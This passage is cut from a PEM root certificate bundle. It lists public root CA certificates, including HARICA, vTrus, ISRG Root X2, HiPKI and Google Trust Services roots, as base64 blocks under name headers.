MIIFszCCA5ugAwIBAgIUEwLV4kBMkkaGFmddtLu7sms+/BMwDQYJKoZIhvcNAQELBQAwYTELMAkG A1UEBhMCVE4xNzA1BgNVBAoMLkFnZW5jZSBOYXRpb25hbGUgZGUgQ2VydGlmaWNhdGlvbiBFbGVj dHJvbmlxdWUxGTAXBgNVBAMMEFR1blRydXN0IFJvb3QgQ0EwHhcNMTkwNDI2MDg1NzU2WhcNNDQw NDI2MDg1NzU2WjBhMQswCQYDVQQGEwJUTjE3MDUGA1UECgwuQWdlbmNlIE5hdGlvbmFsZSBkZSBD ZXJ0aWZpY2F0aW9uIEVsZWN0cm9uaXF1ZTEZMBcGA1UEAwwQVHVuVHJ1c3QgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMPN0/y9BFPdDCA61YguBUtB9YOCfvdZn56eY+hz 2vYGqU8ftPkLHzmMmiDQfgbU7DTZhrx1W4eI8NLZ1KMKsmwb60ksPqxd2JQDoOw05TDENX37Jk0b bjBU2PWARZw5rZzJJQRNmpA+TkBuimvNKWfGzC3gdOgFVwpIUPp6Q9p+7FuaDmJ2/uqdHYVy7BG7 NegfJ7/Boce7SBbdVtfMTqDhuazb1YMZGoXRlJfXyqNlC/M4+QKu3fZnz8k/9YosRxqZbwUN/dAd gjH8KcwAWJeRTIAAHDOFli/LQcKLEITDCSSJH7UP2dl3RxiSlGBcx5kDPP73lad9UKGAwqmDrViW VSHbhlnUr8a83YFuB9tgYv7sEG7aaAH0gxupPqJbI9dkxt/con3YS7qC0lH4Zr8GRuR5KiY2eY8f Tpkdso8MDhz/yV3A/ZAQprE38806JG60hZC/gLkMjNWb1sjxVj8agIl6qeIbMlEsPvLfe/ZdeikZ juXIvTZxi11Mwh0/rViizz1wTaZQmCXcI/m4WEEIcb9PuISgjwBUFfyRbVinljvrS5YnzWuioYas DXxU5mZMZl+QviGaAkYt5IPCgLnPSz7ofzwB7I9ezX/SKEIBlYrilz0QIX32nRzFNKHsLA4KUiwS VXAkPcvCFDVDXSdOvsC9qnyW5/yeYa1E0wCXAgMBAAGjYzBhMB0GA1UdDgQWBBQGmpsfU33x9aTI 04Y+oXNZtPdEITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFAaamx9TffH1pMjThj6hc1m0 90QhMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAqgVutt0Vyb+zxiD2BkewhpMl 0425yAA/l/VSJ4hxyXT968pk21vvHl26v9Hr7lxpuhbI87mP0zYuQEkHDVneixCwSQXi/5E/S7fd Ao74gShczNxtr18UnH1YeA32gAm56Q6XKRm4t+v4FstVEuTGfbvE7Pi1HE4+Z7/FXxttbUcoqgRY YdZ2vyJ/0Adqp2RT8JeNnYA/u8EH22Wv5psymsNUk8QcCMNE+3tjEUPRahphanltkE8pjkcFwRJp adbGNjHh/PqAulxPxOu3Mqz4dWEX1xAZufHSCe96Qp1bWgvUxpVOKs7/B9dPfhgGiPEZtdmYu65x xBzndFlY7wyJz4sfdZMaBBSSSFCp61cpABbjNhzI+L/wM9VBD8TMPN3pM0MBkRArHtG5Xc0yGYuP jCB31yLEQtyEFpslbei0VXF/sHyz03FJuc9SpAQ/3D2gu68zngowYI7bnV2UqL1g52KAdoGDDIzM MEZJ4gzSqK/rYXHv5yJiqfdcZGyfFoxnNidF9Ql7v/YQCvGwjVRDjAS6oz/v4jXH+XTgbzRB0L9z ZVcg+ZtnemZoJE6AZb0QmQZZ8mWvuMZHu/2QeItBcy6vVR/cO5JyboTT0GFMDcx2V+IthSIVNg3r AZ3r2OvEhJn7wAzMMujjd9qDRIueVSjAi1jTkD5OGwDxFa2DK5o= -----END CERTIFICATE----- HARICA TLS RSA Root CA 2021 =========================== -----BEGIN CERTIFICATE----- MIIFpDCCA4ygAwIBAgIQOcqTHO9D88aOk8f0ZIk4fjANBgkqhkiG9w0BAQsFADBsMQswCQYDVQQG EwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u cyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBSU0EgUm9vdCBDQSAyMDIxMB4XDTIxMDIxOTEwNTUz OFoXDTQ1MDIxMzEwNTUzN1owbDELMAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRl bWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgUlNB IFJvb3QgQ0EgMjAyMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIvC569lmwVnlskN JLnQDmT8zuIkGCyEf3dRywQRNrhe7Wlxp57kJQmXZ8FHws+RFjZiPTgE4VGC/6zStGndLuwRo0Xu a2s7TL+MjaQenRG56Tj5eg4MmOIjHdFOY9TnuEFE+2uva9of08WRiFukiZLRgeaMOVig1mlDqa2Y Ulhu2wr7a89o+uOkXjpFc5gH6l8Cct4MpbOfrqkdtx2z/IpZ525yZa31MJQjB/OCFks1mJxTuy/K 5FrZx40d/JiZ+yykgmvwKh+OC19xXFyuQnspiYHLA6OZyoieC0AJQTPb5lh6/a6ZcMBaD9YThnEv dmn8kN3bLW7R8pv1GmuebxWMevBLKKAiOIAkbDakO/IwkfN4E8/BPzWr8R0RI7VDIp4BkrcYAuUR 0YLbFQDMYTfBKnya4dC6s1BG7oKsnTH4+yPiAwBIcKMJJnkVU2DzOFytOOqBAGMUuTNe3QvboEUH GjMJ+E20pwKmafTCWQWIZYVWrkvL4N48fS0ayOn7H6NhStYqE613TBoYm5EPWNgGVMWX+Ko/IIqm haZ39qb8HOLubpQzKoNQhArlT4b4UEV4AIHrW2jjJo3Me1xR9BQsQL4aYB16cmEdH2MtiKrOokWQ CPxrvrNQKlr9qEgYRtaQQJKQCoReaDH46+0N0x3GfZkYVVYnZS6NRcUk7M7jAgMBAAGjQjBAMA8G A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFApII6ZgpJIKM+qTW8VX6iVNvRLuMA4GA1UdDwEB/wQE AwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAPpBIqm5iFSVmewzVjIuJndftTgfvnNAUX15QvWiWkKQU EapobQk1OUAJ2vQJLDSle1mESSmXdMgHHkdt8s4cUCbjnj1AUz/3f5Z2EMVGpdAgS1D0NTsY9FVq QRtHBmg8uwkIYtlfVUKqrFOFrJVWNlar5AWMxajaH6NpvVMPxP/cyuN+8kyIhkdGGvMA9YCRotxD QpSbIPDRzbLrLFPCU3hKTwSUQZqPJzLB5UkZv/HywouoCjkxKLR9YjYsTewfM7Z+d21+UPCfDtcR j88YxeMn/ibvBZ3PzzfF0HvaO7AWhAw6k9a+F9sPPg4ZeAnHqQJyIkv3N3a6dcSFA1pj1bF1BcK5 vZStjBWZp5N99sXzqnTPBIWUmAD04vnKJGW/4GKvyMX6ssmeVkjaef2WdhW+o45WxLM0/L5H9MG0 qPzVMIho7suuyWPEdr6sOBjhXlzPrjoiUevRi7PzKzMHVIf6tLITe7pTBGIBnfHAT+7hOtSLIBD6 Alfm78ELt5BGnBkpjNxvoEppaZS3JGWg/6w/zgH7IS79aPib8qXPMThcFarmlwDB31qlpzmq6YR/ PFGoOtmUW4y/Twhx5duoXNTSpv4Ao8YWxw/ogM4cKGR0GQjTQuPOAF1/sdwTsOEFy9EgqoZ0njnn kf3/W9b3raYvAwtt41dU63ZTGI0RmLo= -----END CERTIFICATE----- HARICA TLS ECC Root CA 2021 =========================== -----BEGIN CERTIFICATE----- MIICVDCCAdugAwIBAgIQZ3SdjXfYO2rbIvT/WeK/zjAKBggqhkjOPQQDAzBsMQswCQYDVQQGEwJH UjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBD QTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBFQ0MgUm9vdCBDQSAyMDIxMB4XDTIxMDIxOTExMDExMFoX DTQ1MDIxMzExMDEwOVowbDELMAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWlj IGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgRUNDIFJv b3QgQ0EgMjAyMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDgI/rGgltJ6rK9JOtDA4MM7KKrxcm1l AEeIhPyaJmuqS7psBAqIXhfyVYf8MLA04jRYVxqEU+kw2anylnTDUR9YSTHMmE5gEYd103KUkE+b ECUqqHgtvpBBWJAVcqeht6NCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUyRtTgRL+BNUW 0aq8mm+3oJUZbsowDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2cAMGQCMBHervjcToiwqfAi rcJRQO9gcS3ujwLEXQNwSaSS6sUUiHCm0w2wqsosQJz76YJumgIwK0eaB8bRwoF8yguWGEEbo/Qw CZ61IygNnxS2PFOiTAZpffpskcYqSUXm7LcT4Tps -----END CERTIFICATE----- Autoridad de Certificacion Firmaprofesional CIF A62634068 ========================================================= -----BEGIN CERTIFICATE----- MIIGFDCCA/ygAwIBAgIIG3Dp0v+ubHEwDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCRVMxQjBA BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2 MjYzNDA2ODAeFw0xNDA5MjMxNTIyMDdaFw0zNjA1MDUxNTIyMDdaMFExCzAJBgNVBAYTAkVTMUIw QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY 7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMB0GA1Ud DgQWBBRlzeurNR4APn7VdMActHNHDhpkLzASBgNVHRMBAf8ECDAGAQH/AgEBMIGmBgNVHSAEgZ4w gZswgZgGBFUdIAAwgY8wLwYIKwYBBQUHAgEWI2h0dHA6Ly93d3cuZmlybWFwcm9mZXNpb25hbC5j b20vY3BzMFwGCCsGAQUFBwICMFAeTgBQAGEAcwBlAG8AIABkAGUAIABsAGEAIABCAG8AbgBhAG4A bwB2AGEAIAA0ADcAIABCAGEAcgBjAGUAbABvAG4AYQAgADAAOAAwADEANzAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQELBQADggIBAHSHKAIrdx9miWTtj3QuRhy7qPj4Cx2Dtjqn6EWKB7fgPiDL 4QjbEwj4KKE1soCzC1HA01aajTNFSa9J8OA9B3pFE1r/yJfY0xgsfZb43aJlQ3CTkBW6kN/oGbDb LIpgD7dvlAceHabJhfa9NPhAeGIQcDq+fUs5gakQ1JZBu/hfHAsdCPKxsIl68veg4MSPi3i1O1il I45PVf42O+AMt8oqMEEgtIDNrvx2ZnOorm7hfNoD6JQg5iKj0B+QXSBTFCZX2lSX3xZEEAEeiGaP cjiT3SC3NL7X8e5jjkd5KAb881lFJWAiMxujX6i6KtoaPc1A6ozuBRWV1aUsIC+nmCjuRfzxuIgA LI9C2lHVnOUTaHFFQ4ueCyE8S1wF3BqfmI7avSKecs2tCsvMo2ebKHTEm9caPARYpoKdrcd7b/+A lun4jWq9GJAd/0kakFI3ky88Al2CdgtR5xbHV/g4+afNmyJU72OwFW1TZQNKXkqgsqeOSQBZONXH 9IBk9W6VULgRfhVwOEqwf9DEMnDAGf/JOC0ULGb0QkTmVXYbgBVX/8Cnp6o5qtjTcNAuuuuUavpf NIbnYrX9ivAwhZTJryQCL2/W3Wf+47BVTwSYT6RBVuKT0Gro1vP7ZeDOdcQxWQzugsgMYDNKGbqE ZycPvEJdvSRUDewdcAZfpLz6IHxV -----END CERTIFICATE----- vTrus ECC Root CA ================= -----BEGIN CERTIFICATE----- MIICDzCCAZWgAwIBAgIUbmq8WapTvpg5Z6LSa6Q75m0c1towCgYIKoZIzj0EAwMwRzELMAkGA1UE BhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBS b290IENBMB4XDTE4MDczMTA3MjY0NFoXDTQzMDczMTA3MjY0NFowRzELMAkGA1UEBhMCQ04xHDAa BgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBSb290IENBMHYw EAYHKoZIzj0CAQYFK4EEACIDYgAEZVBKrox5lkqqHAjDo6LN/llWQXf9JpRCux3NCNtzslt188+c ToL0v/hhJoVs1oVbcnDS/dtitN9Ti72xRFhiQgnH+n9bEOf+QP3A2MMrMudwpremIFUde4BdS49n TPEQo0IwQDAdBgNVHQ4EFgQUmDnNvtiyjPeyq+GtJK97fKHbH88wDwYDVR0TAQH/BAUwAwEB/zAO BgNVHQ8BAf8EBAMCAQYwCgYIKoZIzj0EAwMDaAAwZQIwV53dVvHH4+m4SVBrm2nDb+zDfSXkV5UT QJtS0zvzQBm8JsctBp61ezaf9SXUY2sAAjEA6dPGnlaaKsyh2j/IZivTWJwghfqrkYpwcBE4YGQL YgmRWAD5Tfs0aNoJrSEGGJTO -----END CERTIFICATE----- vTrus Root CA ============= -----BEGIN CERTIFICATE----- MIIFVjCCAz6gAwIBAgIUQ+NxE9izWRRdt86M/TX9b7wFjUUwDQYJKoZIhvcNAQELBQAwQzELMAkG A1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xFjAUBgNVBAMTDXZUcnVzIFJv b3QgQ0EwHhcNMTgwNzMxMDcyNDA1WhcNNDMwNzMxMDcyNDA1WjBDMQswCQYDVQQGEwJDTjEcMBoG A1UEChMTaVRydXNDaGluYSBDby4sTHRkLjEWMBQGA1UEAxMNdlRydXMgUm9vdCBDQTCCAiIwDQYJ KoZIhvcNAQEBBQADggIPADCCAgoCggIBAL1VfGHTuB0EYgWgrmy3cLRB6ksDXhA/kFocizuwZots SKYcIrrVQJLuM7IjWcmOvFjai57QGfIvWcaMY1q6n6MLsLOaXLoRuBLpDLvPbmyAhykUAyyNJJrI ZIO1aqwTLDPxn9wsYTwaP3BVm60AUn/PBLn+NvqcwBauYv6WTEN+VRS+GrPSbcKvdmaVayqwlHeF XgQPYh1jdfdr58tbmnDsPmcF8P4HCIDPKNsFxhQnL4Z98Cfe/+Z+M0jnCx5Y0ScrUw5XSmXX+6KA YPxMvDVTAWqXcoKv8R1w6Jz1717CbMdHflqUhSZNO7rrTOiwCcJlwp2dCZtOtZcFrPUGoPc2BX70 kLJrxLT5ZOrpGgrIDajtJ8nU57O5q4IikCc9Kuh8kO+8T/3iCiSn3mUkpF3qwHYw03dQ+A0Em5Q2 AXPKBlim0zvc+gRGE1WKyURHuFE5Gi7oNOJ5y1lKCn+8pu8fA2dqWSslYpPZUxlmPCdiKYZNpGvu /9ROutW04o5IWgAZCfEF2c6Rsffr6TlP9m8EQ5pV9T4FFL2/s1m02I4zhKOQUqqzApVg+QxMaPnu 1RcN+HFXtSXkKe5lXa/R7jwXC1pDxaWG6iSe4gUH3DRCEpHWOXSuTEGC2/KmSNGzm/MzqvOmwMVO 9fSddmPmAsYiS8GVP1BkLFTltvA8Kc9XAgMBAAGjQjBAMB0GA1UdDgQWBBRUYnBj8XWEQ1iO0RYg scasGrz2iTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOC AgEAKbqSSaet8PFww+SX8J+pJdVrnjT+5hpk9jprUrIQeBqfTNqK2uwcN1LgQkv7bHbKJAs5EhWd nxEt/Hlk3ODg9d3gV8mlsnZwUKT+twpw1aA08XXXTUm6EdGz2OyC/+sOxL9kLX1jbhd47F18iMjr jld22VkE+rxSH0Ws8HqA7Oxvdq6R2xCOBNyS36D25q5J08FsEhvMKar5CKXiNxTKsbhm7xqC5PD4 8acWabfbqWE8n/Uxy+QARsIvdLGx14HuqCaVvIivTDUHKgLKeBRtRytAVunLKmChZwOgzoy8sHJn xDHO2zTlJQNgJXtxmOTAGytfdELSS8VZCAeHvsXDf+eW2eHcKJfWjwXj9ZtOyh1QRwVTsMo554Wg icEFOwE30z9J4nfrI8iIZjs9OXYhRvHsXyO466JmdXTBQPfYaJqT4i2pLr0cox7IdMakLXogqzu4 sEb9b91fUlV1YvCXoHzXOP0l382gmxDPi7g4Xl7FtKYCNqEeXxzP4padKar9mK5S4fNBUvupLnKW nyfjqnN9+BojZns7q2WwMgFLFT49ok8MKzWixtlnEjUwzXYuFrOZnk1PTi07NEPhmg4NpGaXutIc SkwsKouLgU9xGqndXHt7CMUADTdA43x7VF8vhV929vensBxXVsFy6K2ir40zSbofitzmdHxghm+H l3s= -----END CERTIFICATE----- ISRG Root X2 ============ -----BEGIN CERTIFICATE----- MIICGzCCAaGgAwIBAgIQQdKd0XLq7qeAwSxs6S+HUjAKBggqhkjOPQQDAzBPMQswCQYDVQQGEwJV UzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMTDElT UkcgUm9vdCBYMjAeFw0yMDA5MDQwMDAwMDBaFw00MDA5MTcxNjAwMDBaME8xCzAJBgNVBAYTAlVT MSkwJwYDVQQKEyBJbnRlcm5ldCBTZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNS RyBSb290IFgyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0H ttwW+1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7AlF9ItgKbppb d9/w+kHsOdx1ymgHDB/qo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV HQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwCgYIKoZIzj0EAwMDaAAwZQIwe3lORlCEwkSHRhtF cP9Ymd70/aTSVaYgLXTWNLxBo1BfASdWtL4ndQavEi51mI38AjEAi/V3bNTIZargCyzuFJ0nN6T5 U6VR5CmD1/iQMVtCnwr1/q4AaOeMSQ+2b1tbFfLn -----END CERTIFICATE----- HiPKI Root CA - G1 ================== -----BEGIN CERTIFICATE----- MIIFajCCA1KgAwIBAgIQLd2szmKXlKFD6LDNdmpeYDANBgkqhkiG9w0BAQsFADBPMQswCQYDVQQG EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xGzAZBgNVBAMMEkhpUEtJ IFJvb3QgQ0EgLSBHMTAeFw0xOTAyMjIwOTQ2MDRaFw0zNzEyMzExNTU5NTlaME8xCzAJBgNVBAYT AlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEbMBkGA1UEAwwSSGlQS0kg Um9vdCBDQSAtIEcxMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA9B5/UnMyDHPkvRN0 o9QwqNCuS9i233VHZvR85zkEHmpwINJaR3JnVfSl6J3VHiGh8Ge6zCFovkRTv4354twvVcg3Px+k wJyz5HdcoEb+d/oaoDjq7Zpy3iu9lFc6uux55199QmQ5eiY29yTw1S+6lZgRZq2XNdZ1AYDgr/SE YYwNHl98h5ZeQa/rh+r4XfEuiAU+TCK72h8q3VJGZDnzQs7ZngyzsHeXZJzA9KMuH5UHsBffMNsA GJZMoYFL3QRtU6M9/Aes1MU3guvklQgZKILSQjqj2FPseYlgSGDIcpJQ3AOPgz+yQlda22rpEZfd hSi8MEyr48KxRURHH+CKFgeW0iEPU8DtqX7UTuybCeyvQqww1r/REEXgphaypcXTT3OUM3ECoWqj 1jOXTyFjHluP2cFeRXF3D4FdXyGarYPM+l7WjSNfGz1BryB1ZlpK9p/7qxj3ccC2HTHsOyDry+K4 9a6SsvfhhEvyovKTmiKe0xRvNlS9H15ZFblzqMF8b3ti6RZsR1pl8w4Rm0bZ/W3c1pzAtH2lsN0/ Vm+h+fbkEkj9Bn8SV7apI09bA8PgcSojt/ewsTu8mL3WmKgMa/aOEmem8rJY5AIJEzypuxC00jBF 8ez3ABHfZfjcK0NVvxaXxA/VLGGEqnKG/uY6fsI/fe78LxQ+5oXdUG+3Se0CAwEAAaNCMEAwDwYD VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ncX+l6o/vY9cdVouslGDDjYr7AwDgYDVR0PAQH/BAQD AgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBQUfB13HAE4/+qddRxosuej6ip0691x1TPOhwEmSKsxBHi 7zNKpiMdDg1H2DfHb680f0+BazVP6XKlMeJ45/dOlBhbQH3PayFUhuaVevvGyuqcSE5XCV0vrPSl tJczWNWseanMX/mF+lLFjfiRFOs6DRfQUsJ748JzjkZ4Bjgs6FzaZsT0pPBWGTMpWmWSBUdGSquE wx4noR8RkpkndZMPvDY7l1ePJlsMu5wP1G4wB9TcXzZoZjmDlicmisjEOf6aIW/Vcobpf2Lll07Q JNBAsNB1CI69aO4I1258EHBGG3zgiLKecoaZAeO/n0kZtCW+VmWuF2PlHt/o/0elv+EmBYTksMCv 5wiZqAxeJoBF1PhoL5aPruJKHJwWDBNvOIf2u8g0X5IDUXlwpt/L9ZlNec1OvFefQ05rLisY+Gpz jLrFNe85akEez3GoorKGB1s6yeHvP2UEgEcyRHCVTjFnanRbEEV16rCf0OY1/k6fi8wrkkVbbiVg hUbN0aqwdmaTd5a+g744tiROJgvM7XpWGuDpWsZkrUx6AEhEL7lAuxM+vhV4nYWBSipX3tUZQ9rb yltHhoMLP7YNdnhzeSJesYAfz77RP1YQmCuVh6EfnWQUYDksswBVLuT1sw5XxJFBAJw/6KXf6vb/ yPCtbVKoF6ubYfwSUTXkJf2vqmqGOQ== -----END CERTIFICATE----- GlobalSign ECC Root CA - R4 =========================== -----BEGIN CERTIFICATE----- MIIB3DCCAYOgAwIBAgINAgPlfvU/k/2lCSGypjAKBggqhkjOPQQDAjBQMSQwIgYDVQQLExtHbG9i YWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds b2JhbFNpZ24wHhcNMTIxMTEzMDAwMDAwWhcNMzgwMTE5MDMxNDA3WjBQMSQwIgYDVQQLExtHbG9i YWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds b2JhbFNpZ24wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAS4xnnTj2wlDp8uORkcA6SumuU5BwkW ymOxuYb4ilfBV85C+nOh92VC/x7BALJucw7/xyHlGKSq2XE/qNS5zowdo0IwQDAOBgNVHQ8BAf8E BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVLB7rUW44kB/+wpu+74zyTyjhNUwCgYI KoZIzj0EAwIDRwAwRAIgIk90crlgr/HmnKAWBVBfw147bmF0774BxL4YSFlhgjICICadVGNA3jdg UM/I2O2dgq43mLyjj0xMqTQrbO/7lZsm -----END CERTIFICATE----- GTS Root R1 =========== -----BEGIN CERTIFICATE----- MIIFVzCCAz+gAwIBAgINAgPlk28xsBNJiGuiFzANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQGEwJV UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg UjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIiMA0G CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx9vaM f/vo27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7wCl7raKb0 xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjwTcLCeoiKu7rPWRnWr4+w B7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0PfyblqAj+lug8aJRT7oM6iCsVlgmy4HqMLnXW nOunVmSPlk9orj2XwoSPwLxAwAtcvfaHszVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly4cpk 9+aCEI3oncKKiPo4Zor8Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr06zq kUspzBmkMiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92wO1A K/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70paDPvOmbsB4om3xPX V2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrNVjzRlwW5y0vtOUucxD/SVRNuJLDW cfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T AQH/BAUwAwEB/zAdBgNVHQ4EFgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEMBQAD ggIBAJ+qQibbC5u+/x6Wki4+omVKapi6Ist9wTrYggoGxval3sBOh2Z5ofmmWJyq+bXmYOfg6LEe QkEzCzc9zolwFcq1JKjPa7XSQCGYzyI0zzvFIoTgxQ6KfF2I5DUkzps+GlQebtuyh6f88/qBVRRi ClmpIgUxPoLW7ttXNLwzldMXG+gnoot7TiYaelpkttGsN/H9oPM47HLwEXWdyzRSjeZ2axfG34ar J45JK3VmgRAhpuo+9K4l/3wV3s6MJT/KYnAK9y8JZgfIPxz88NtFMN9iiMG1D53Dn0reWVlHxYci NuaCp+0KueIHoI17eko8cdLiA6EfMgfdG+RCzgwARWGAtQsgWSl4vflVy2PFPEz0tv/bal8xa5me LMFrUKTX5hgUvYU/Z6tGn6D/Qqc6f1zLXbBwHSs09dR2CQzreExZBfMzQsNhFRAbd03OIozUhfJF fbdT6u9AWpQKXCBfTkBdYiJ23//OYb2MI3jSNwLgjt7RETeJ9r/tSQdirpLsQBqvFAnZ0E6yove+ 7u7Y/9waLd64NnHi/Hm3lCXRSHNboTXns5lndcEZOitHTtNCjv0xyBZm2tIMPNuzjsmhDYAPexZ3 FL//2wmUspO8IFgV6dtxQ/PeEMMA3KgqlbbC1j+Qa3bbbP6MvPJwNQzcmRk13NfIRmPVNnGuV/u3 gm3c -----END CERTIFICATE----- GTS Root R2 =========== -----BEGIN CERTIFICATE----- MIIFVzCCAz+gAwIBAgINAgPlrsWNBCUaqxElqjANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQGEwJV UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg UjIwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjIwggIiMA0G CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDO3v2m++zsFDQ8BwZabFn3GTXd98GdVarTzTukk3Lv CvptnfbwhYBboUhSnznFt+4orO/LdmgUud+tAWyZH8QiHZ/+cnfgLFuv5AS/T3KgGjSY6Dlo7JUl e3ah5mm5hRm9iYz+re026nO8/4Piy33B0s5Ks40FnotJk9/BW9BuXvAuMC6C/Pq8tBcKSOWIm8Wb a96wyrQD8Nr0kLhlZPdcTK3ofmZemde4wj7I0BOdre7kRXuJVfeKH2JShBKzwkCX44ofR5GmdFrS +LFjKBC4swm4VndAoiaYecb+3yXuPuWgf9RhD1FLPD+M2uFwdNjCaKH5wQzpoeJ/u1U8dgbuak7M kogwTZq9TwtImoS1mKPV+3PBV2HdKFZ1E66HjucMUQkQdYhMvI35ezzUIkgfKtzra7tEscszcTJG 